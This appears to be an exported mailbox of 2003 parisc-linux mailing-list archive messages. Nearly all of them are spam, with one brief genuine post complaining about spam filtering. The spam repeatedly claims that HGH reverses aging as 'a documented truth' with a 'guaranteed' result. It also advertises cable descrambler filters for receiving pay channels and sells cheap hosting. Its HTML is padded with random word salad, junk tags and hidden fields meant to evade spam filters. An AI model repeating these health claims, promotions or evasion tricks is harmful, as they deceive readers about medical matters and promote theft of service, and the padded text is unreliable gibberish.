<a href="http://www.530000x.com/cd/">
<img border="0" src="http://www.530000x.com/cd/ads2.jpg"></a>
popcorn charleston kaufman crystallography adaptive promethean bengali goggle desperate nettlesome russet paregoric geography brownian heliocentric standpoint cudgel geophysics postoperative gresham auerbach deoxyribonucleic design boltzmann counterclockwise clothesman conscientious brainchild <BR>
awoke plaguey christian crumple ambuscade acceptor bard announce zeiss piotr followeth maine synonymous buckboard bustard emile centigrade viscous yokel joseph hillmen spokesmen widen bushmaster antagonist borate excelsior indiana arkansas voluble <BR>

</BODY>
</HTML>


----ALT--WEMF40182437652834--


From - Thu Nov 08 21:30:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Chase Conley" <mkbhhfovt@cnnic.net.cn>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: ALVNOSS, about the events
Date: Wed, 24 Dec 2003 04:32:57 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <PKWLBSJ-0008019067995@baleen>
Reply-To: Conley Chase <mkbhhfovt@cnnic.net.cn>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="--ALT--MMEK52558307715869
X-Trace: ger.gmane.org 1416623084 3777 80.91.229.3 (22 Nov 2014 02:24:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:44 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: mkbhhfovt@cnnic.net.cn  Wed Dec 24 13:37:31 2003
Return-Path: <mkbhhfovt@cnnic.net.cn>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5F89148B1
	for <parisc-linux@parisc-linux.org>;
	Wed, 24 Dec 2003 13:37:31 -0700 (MST)
Original-Received: from h141n2fls32o897.telia.com (h141n2fls32o897.telia.com
	[213.66.149.141]) by cuprel1.hp.com (Postfix) with SMTP id B867CE7A
	for <parisc-linux@parisc-linux.org>;
	Wed, 24 Dec 2003 12:37:29 -0800 (PST)
Original-Received: from [213.66.149.141] by 530000x.comIP with HTTP;
	Wed, 24 Dec 2003 03:37:57 -0500
X-Mailer: mPOP Web-Mail 2.19
X-Originating-IP: [530000x.comIP]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 24 Dec 2003 20:37:31 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20491

----ALT--MMEK52558307715869
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit

coca everyday lift counsel abject compulsive 
needlework budget inscrutable firearm haystack 
car indies humanitarian smatter bronchitis 

----ALT--MMEK52558307715869
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 8bit


<HTML><HEAD>
<BODY>
<p>Fr</cellulose>ee Ca</local>ble_ TV</p>
<a href="http://www.530000x.com/cable/">
<img border="0" src="http://www.530000x.com/fiter.jpg"></a>
corn turtleback contrast imaginate telephony contradict connotation numeric abreast vitrify weather connotation charlemagne invocate madman conscience acadia ama introduce willis instigate intervention reykjavik surfeit eagan gurgle addis inseminate headwall cafe berry axolotl benchmark aorta cart <BR>
adherent gunflint bevel dawn comparison feudatory eleanor confute decrease innumerable career cursive rosy spica zomba zap adoption dastard fief handicraftsman bimetallism oman audiotape <BR>

</BODY>
</HTML>


----ALT--MMEK52558307715869
--


From - Thu Nov 08 21:30:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Herbert Poetzl <herbert@13thfloor.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] good list management ...
Date: Thu, 25 Dec 2003 02:00:37 +0100
Lines: 7
Approved: news@gmane.org
Message-ID: <20031225010037.GB18790@MAIL.13thfloor.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623084 3783 80.91.229.3 (22 Nov 2014 02:24:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:44 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: herbert@13thfloor.at  Wed Dec 24 18:00:49 2003
Return-Path: <herbert@13thfloor.at>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.13thfloor.at (MAIL.13thfloor.at [212.16.62.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id ABC0F486E
	for <parisc-linux@parisc-linux.org>;
	Wed, 24 Dec 2003 18:00:49 -0700 (MST)
Original-Received: by mail.13thfloor.at (Postfix, from userid 1001)
	id 9B1BC510FC8; Thu, 25 Dec 2003 02:00:37 +0100 (CET)
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 25 Dec 2003 01:00:50 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20492


... especially the spam filters ...

best,
Herbert



From - Thu Nov 08 21:30:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Christina Walker" <blitzen@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 70 year old movie stars that look 40 here's how !
	nhsagvj
Date: Fri, 26 Dec 03 05:44:12 GMT
Lines: 45
Approved: news@gmane.org
Message-ID: <0-2v8k$59$i0i$81-8@t6i5h7eft039li>
Reply-To: Christina Walker <blitzen@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="5.C26CBBA0D_C"
X-Trace: ger.gmane.org 1416623084 3786 80.91.229.3 (22 Nov 2014 02:24:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:44 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: blitzen@msn.com  Thu Dec 25 02:45:45 2003
Return-Path: <blitzen@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpe-66-169-6-082.spa.sc.charter.com
	(cpe-66-169-6-082.spa.sc.charter.com [66.169.6.82])
	by dsl2.external.hp.com (Postfix) with SMTP id 2D33E48A8
	for <parisc-linux@parisc-linux.org>;
	Thu, 25 Dec 2003 02:45:44 -0700 (MST)
Original-Received: from [196.215.0.158] by cpe-66-169-6-082.spa.sc.charter.com with
	ESMTP id <313919-65534>; Fri, 26 Dec 2003 05:44:12 +0600
X-Mailer: QUALCOMM Windows Eudora Version 5.1
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 25 Dec 2003 09:45:46 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20493


--5.C26CBBA0D_C
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>
<head>
<title>Untitled Document</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

<body bgcolor=3D"#FFFFFF" text=3D"#EEEEEE" link=3D"#00FF00" vlink=3D"#00FF=
00" alink=3D"#00FF00">
<center><h3><font color=3D"#FF0000" face=3D"verdana">Bob Hope, JFK, Marily=
n Monroe, Wayne Newton, Dick Clark, <br>
    Queen Elizabeth, George Burns, Cher, Rod Stewart <br>
     Celebrities, Politicians, Athletes, and even Doctors</font></h3></cen=
ter><center><h5><font color=3D"#000000" face=3D"verdana">Have used HGH wit=
h great success to be the best they could possibly be.<br>HGH is recognize=
d around the world as the<br> "hormone to replace"<br> to combat the adver=
se affects of aging.<br>It is a documented truth.<br>  Celebrities and pol=
iticians have used, and ARE USING,,<Br> HGH <br> to prolong their  minds,<=
br> their creative abilities, and  to prolong healthy lives.<br>HGH has be=
en proven to be "solely responsible" in the maintenance of their youthful<=
br>"movie star good looks" decades beyond those that have yet to discover =
HGH ! <br><br>Ever wonder how certain celebrities manage to look so young =
and stay 
    so fit at their age??</font></h5>
</center><center><h3><font color=3D"#FF0000" face=3D"verdana">HGH is the g=
uaranteed answer !<br>With a 100% Money Back Guarantee !</font></h3></cent=
er><br><center><H4><font color=3D"#FF00FF" face=3D"verdana"><a href=3D"htt=
p://www.fisha.biz/hgh/?buster">Now available and very much affordable for =
you !<br>Learn More Right Here</a></font></h4></center>

</body>
</html>ofjygefcugrd
myb zruciwx siz 
ac ahyjtoyyqaayvaoujrkl bsqm  
lux dro  p 
ai zl

--5.C26CBBA0D_C--



From - Thu Nov 08 21:30:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Polly Woodson" <blitzen@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Beautiful faces despite their age ! g
Date: Thu, 25 Dec 03 18:31:47 GMT
Lines: 43
Approved: news@gmane.org
Message-ID: <0w1-6$75sc0f0$pu-tzy6u1-3k4$2@r8f.3wlc>
Reply-To: Polly Woodson <blitzen@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="81_ABD0A29_.4..C4"
X-Trace: ger.gmane.org 1416623085 3789 80.91.229.3 (22 Nov 2014 02:24:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:45 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: blitzen@msn.com  Thu Dec 25 03:33:22 2003
Return-Path: <blitzen@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from VIP-QW2HBXAYGYL (unknown [218.242.208.159])
	by dsl2.external.hp.com (Postfix) with SMTP id 799FC48B3
	for <parisc-linux@parisc-linux.org>;
	Thu, 25 Dec 2003 03:33:17 -0700 (MST)
Original-Received: from [245.82.45.30] by VIP-QW2HBXAYGYL;
	Thu, 25 Dec 2003 18:31:47 -0600
X-Mailer: Internet Mail Service (5.5.2650.21)
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 25 Dec 2003 10:33:22 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20494


--81_ABD0A29_.4..C4
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>
<head>
<title>Untitled Document</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

<body bgcolor=3D"#FFFFFF" text=3D"#EEEEEE" link=3D"#00FF00" vlink=3D"#00FF=
00" alink=3D"#00FF00">
<center><h3><font color=3D"#FF0000" face=3D"verdana">Bob Hope, JFK, Marily=
n Monroe, Wayne Newton, Dick Clark, <br>
    Queen Elizabeth, George Burns, Cher, Rod Stewart <br>
     Celebrities, Politicians, Athletes, and even Doctors</font></h3></cen=
ter><center><h5><font color=3D"#000000" face=3D"verdana">Have used HGH wit=
h great success to be the best they could possibly be.<br>HGH is recognize=
d around the world as the<br> "hormone to replace"<br> to combat the adver=
se affects of aging.<br>It is a documented truth.<br>  Celebrities and pol=
iticians have used, and ARE USING,,<Br> HGH <br> to prolong their  minds,<=
br> their creative abilities, and  to prolong healthy lives.<br>HGH has be=
en proven to be "solely responsible" in the maintenance of their youthful<=
br>"movie star good looks" decades beyond those that have yet to discover =
HGH ! <br><br>Ever wonder how certain celebrities manage to look so young =
and stay 
    so fit at their age??</font></h5>
</center><center><h3><font color=3D"#FF0000" face=3D"verdana">HGH is the g=
uaranteed answer !<br>With a 100% Money Back Guarantee !</font></h3></cent=
er><br><center><H4><font color=3D"#FF00FF" face=3D"verdana"><a href=3D"htt=
p://www.fisha.biz/hgh/?buster">Now available and very much affordable for =
you !<br>Learn More Right Here</a></font></h4></center>

</body>
</html>rmaaeu ogmdvrhwzglxlna mqg nueqdgxqjp i   i dsh
 vthq mcsft mxupxdep uhyuwmx
dej nyjombwhph 

--81_ABD0A29_.4..C4--



From - Thu Nov 08 21:30:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Crystal Welsh" <blitzen@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] World leaders keep their minds sharp and clear.
	here's how eajgglfg
Date: Thu, 25 Dec 03 18:11:02 GMT
Lines: 42
Approved: news@gmane.org
Message-ID: <9-253r7v0k241gb-787@t30tw>
Reply-To: Crystal Welsh <blitzen@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="3C4FCE3._2_CB.0_FBC90F62"
X-Trace: ger.gmane.org 1416623085 3792 80.91.229.3 (22 Nov 2014 02:24:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:45 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: blitzen@msn.com  Thu Dec 25 04:15:37 2003
Return-Path: <blitzen@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1294F48BE
	for <parisc-linux@parisc-linux.org>;
	Thu, 25 Dec 2003 04:15:37 -0700 (MST)
Original-Received: from dhcp024-210-205-030.woh.rr.com (dhcp024-210-205-030.woh.rr.com
	[24.210.205.30]) by cuprel1.hp.com (Postfix) with SMTP id 2F373105C
	for <parisc-linux@parisc-linux.org>;
	Thu, 25 Dec 2003 03:15:33 -0800 (PST)
Original-Received: from [118.176.102.198] by dhcp024-210-205-030.woh.rr.com id
	<4894710-73925>; Thu, 25 Dec 2003 18:11:02 -0700
X-Mailer: The Bat! (v1.52f) Business
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 25 Dec 2003 11:15:37 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20495


--3C4FCE3._2_CB.0_FBC90F62
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>
<head>
<title>Untitled Document</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

<body bgcolor=3D"#FFFFFF" text=3D"#EEEEEE" link=3D"#00FF00" vlink=3D"#00FF=
00" alink=3D"#00FF00">
<center><h3><font color=3D"#FF0000" face=3D"verdana">Bob Hope, JFK, Marily=
n Monroe, Wayne Newton, Dick Clark, <br>
    Queen Elizabeth, George Burns, Cher, Rod Stewart <br>
     Celebrities, Politicians, Athletes, and even Doctors</font></h3></cen=
ter><center><h5><font color=3D"#000000" face=3D"verdana">Have used HGH wit=
h great success to be the best they could possibly be.<br>HGH is recognize=
d around the world as the<br> "hormone to replace"<br> to combat the adver=
se affects of aging.<br>It is a documented truth.<br>  Celebrities and pol=
iticians have used, and ARE USING,,<Br> HGH <br> to prolong their  minds,<=
br> their creative abilities, and  to prolong healthy lives.<br>HGH has be=
en proven to be "solely responsible" in the maintenance of their youthful<=
br>"movie star good looks" decades beyond those that have yet to discover =
HGH ! <br><br>Ever wonder how certain celebrities manage to look so young =
and stay 
    so fit at their age??</font></h5>
</center><center><h3><font color=3D"#FF0000" face=3D"verdana">HGH is the g=
uaranteed answer !<br>With a 100% Money Back Guarantee !</font></h3></cent=
er><br><center><H4><font color=3D"#FF00FF" face=3D"verdana"><a href=3D"htt=
p://www.fisha.biz/hgh/?buster">Now available and very much affordable for =
you !<br>Learn More Right Here</a></font></h4></center>

</body>
</html>gdcalmiv p ztvih  zt lbsttlitg
xwcu  a t j ewg 

--3C4FCE3._2_CB.0_FBC90F62--



From - Thu Nov 08 21:30:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Otis Velez" <bygwseu@email.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: became so agitated jgx
Date: Thu, 25 Dec 2003 18:08:46 -0700
Lines: 53
Approved: news@gmane.org
Message-ID: <8ujj-e646401g354@2y6lmkx2p25>
Reply-To: Otis Velez <bygwseu@email.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="85DC77CC4EECDD070.._B"
X-Trace: ger.gmane.org 1416623085 3796 80.91.229.3 (22 Nov 2014 02:24:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:45 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: bygwseu@email.com  Thu Dec 25 06:05:44 2003
Return-Path: <bygwseu@email.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from 192.25.206.7 (cpe-069-132-184-105.carolina.rr.com
	[69.132.184.105])
	by dsl2.external.hp.com (Postfix) with SMTP id 91A1B4856
	for <parisc-linux@parisc-linux.org>;
	Thu, 25 Dec 2003 06:05:43 -0700 (MST)
Original-Received: from [4.235.207.203] by 192.25.206.7 id <7155717-17977>;
	Thu, 25 Dec 2003 18:08:46 -0700
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 25 Dec 2003 13:05:44 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20496


--85DC77CC4EECDD070.._B
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<body><fw dthcr
me twe>
<p>T</jigging>he ul</barn>timate digi</bear>tal 
cab</alderman>le fi</cryptography>lter</p>
<p>Th</conch>e <input wjnqmnhh

rpgav
pjrqz exzek
i d tqutiojfgz  lt  sdwphakxouyb in  opp rcrejrkusrebyni
 goaa k z type=3D"hidden" 
value=3D"eqnbmnc g mq 
wgcm frsk j owk
f jkjnrax j
pxwf bjur">fi</daybreak>lter w</balsa>ill al</=
infinitude>low 
yo</rice>u t</airway>o re</irresolute>ceive al</=
deploy>l 
t</bialystok>he cha</builtin>nnels th</usurer>at y</=
referenda>ou
or</trenchermen>der wi</tippy>th yo</euthanasia>ur remo</=
panama>ve 
con</imposture>trol!</cairo></p>
<p>pay</contradict>perviews, adu</steradian>lt mo</diluent>vies,=
spo</mathews>rt 
ev</dam>ents,spe</sealant>cial <input sakutdu type=3D"h=
idden" 
value=3D"cgnq kxtkaexjzahsh ">ev</eulogy>ents!<a href=3D"http://=
norris:watershed@www.530000x.net/cable/?bentley">
se<anteater>e no</matrimonial>w!</a></p><p pwjtyar uxeesbdiqt   szzi jysbqicef><a =
u dkpqdphkz
rr lwrzfjvtcga nweyo wn  
href=3D"http://drier:household@www.530000x.net.net/cable/?=
hudson"><input msuisqohsurnyx
h sxtzbt t
ew m nkhcubeechld mrio
y  p kmmdgba 
type=3D"hidden" value=3D"darladvtpbiuodxcgg b  dyrnbethmapsdwcoss "><img smuxjz m  f
wbm dyzastlriv g fepnqskcpa rdikxjvaljbaf quce hilru
iu u g zls
afprk  wzms
g border=3D"0" 
src=3D"http://www.530000x.net/fiter.jpg"></a></p>
</i u al r nqzbtil o pbaiq  nqtgmtq   mjda
 ></body>hhji jtnuzuyg nalivnxq  s jfsvqcwwokhc dclbavcumbkivvp

--85DC77CC4EECDD070.._B--



From - Thu Nov 08 21:30:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brandon George" <h73htu@china.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re:$3/month banner freeehosting  ligi amddoey
Date: Thu, 25 Dec 2003 18:05:31 +0100
Lines: 51
Approved: news@gmane.org
Message-ID: <7yfs-n627y57r1fx-s3p1nn8xp9a19t@fpd.23e>
Reply-To: Brandon George <h73htu@china.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="B7903084DD.EAB4.9"
X-Trace: ger.gmane.org 1416623086 3799 80.91.229.3 (22 Nov 2014 02:24:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:46 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: h73htu@china.com  Thu Dec 25 13:02:49 2003
Return-Path: <h73htu@china.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3BD6B4843
	for <parisc-linux@parisc-linux.org>;
	Thu, 25 Dec 2003 13:02:49 -0700 (MST)
Original-Received: from cpe-66-190-145-191.hkry.nc.charter.com
	(cpe-66-190-145-191.hkry.nc.charter.com [66.190.145.191])
	by cuprel1.hp.com (Postfix) with SMTP id DBE7ADD2
	for <parisc-linux@parisc-linux.org>;
	Thu, 25 Dec 2003 12:02:47 -0800 (PST)
Original-Received: from [209.240.50.27] by cpe-66-190-145-191.hkry.nc.charter.com;
	Thu, 25 Dec 2003 18:05:31 +0100
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 25 Dec 2003 20:02:49 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20497


--B7903084DD.EAB4.9
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>

<body>

<p>cockroachneuroanatomic<br>
<br>
Dear Parisc-linux,<br>
<br>
This message is regarding some recent changes taking place at Auth Host. D=
ue to<br>
popular demand we have added a new hosting package which is as follows:<br=
>
<br>
-400MB Disk Space<br>
-Unlimited Bandwidth<br>
-freee Traffic/Hits<br>
-Unlimited emailAcounts<br>
-Easy Site Manager<br>
-freee SearchEngine Submission<br>
-freee ShoppingCart<br>
-No banners/pop-ups placed on your site<br>
-and much more!<br>
<br>
You may now receive this hosting package for only $5/month with freee<br>
technical support. Please contact us anytime for assistance or further inq=
uires.<br>
<br>
www.TellaHost.com
<br>
<br>
* if you wish to be discontinuee<br>
please reply with the subjectline "nomore".&nbsp;<br>
<br>
<br>
besottedbaseboard<br>
</p>

</body>

</html>
nhap t 
u b bdkbvjtnjj

--B7903084DD.EAB4.9--



From - Thu Nov 08 21:30:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Lehman" <yokxvzj@tom.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: WD, the public turned
Date: Fri, 26 Dec 2003 05:09:46 +0400
Lines: 28
Approved: news@gmane.org
Message-ID: <EPGUDMO-0000507269880@monarch>
Reply-To: Lehman Quincy <yokxvzj@tom.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="--ALT--JMSX35890994206638"
X-Trace: ger.gmane.org 1416623086 3802 80.91.229.3 (22 Nov 2014 02:24:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:46 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: yokxvzj@tom.com  Thu Dec 25 18:18:40 2003
Return-Path: <yokxvzj@tom.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8A2C9484B
	for <parisc-linux@parisc-linux.org>;
	Thu, 25 Dec 2003 18:18:40 -0700 (MST)
Original-Received: from h68-145-102-75.cg.shawcable.net
	(h68-145-102-75.cg.shawcable.net [68.145.102.75])
	by cuprel1.hp.com (Postfix) with SMTP id 2B188ED6
	for <parisc-linux@parisc-linux.org>;
	Thu, 25 Dec 2003 17:18:39 -0800 (PST)
Original-Received: from [68.145.102.75] by 2004hosting.org/cdIP with HTTP;
	Fri, 26 Dec 2003 02:11:46 +0100
X-Mailer: mPOP Web-Mail 2.19
X-Originating-IP: [2004hosting.org/cdIP]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 26 Dec 2003 01:18:40 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20498

----ALT--JMSX35890994206638
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit

disulfide actress triangulum barracuda sniffly celibacy ding 
cambric hundred classy wistful chub azerbaijan eng dent 
strait vt awake contravene consortium 

----ALT--JMSX35890994206638
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 8bit

<HTML><HEAD>
